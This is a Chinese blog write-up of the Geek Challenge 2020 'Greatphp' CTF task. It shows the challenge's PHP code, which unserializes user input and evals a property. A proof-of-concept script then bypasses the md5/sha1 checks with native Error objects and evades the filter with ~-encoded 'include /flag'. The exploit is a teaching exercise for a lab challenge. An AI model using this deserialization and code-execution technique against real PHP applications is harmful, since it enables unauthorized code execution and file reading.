[极客大挑战 2020]Greatphp php原声类Error _toString()输出的字符相同&<?= ?>可以完全代替<?php ?>

知识点:

<?= ?>可以代替<?php ?>,不仅仅有输出的功能,可以完全代替<?php ?>

 

进去一个代码审计:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

很明显,这是一个简单的反序列化,但重点在于绕过md5()和sha1()函数

这边可以用原生类Error或者Exception,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

 

测试代码:

<?php

$str='wuhuqifei';
$a=new Error($str,1);
$b=new Error($str,1);

echo $a;
echo $b;

?>

运行结果:

Error: wuhuqifei in /box/script.php:5
Stack trace:
#0 {main}


Error: wuhuqifei in /box/script.php:6 Stack trace: #0 {main}

 

poc:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

}

$str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>"."<?";  // ?> <?=include /flag ?><?
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>

 

posted @ 2022-07-20 22:27  Galio  阅读(372)  评论(0)    收藏  举报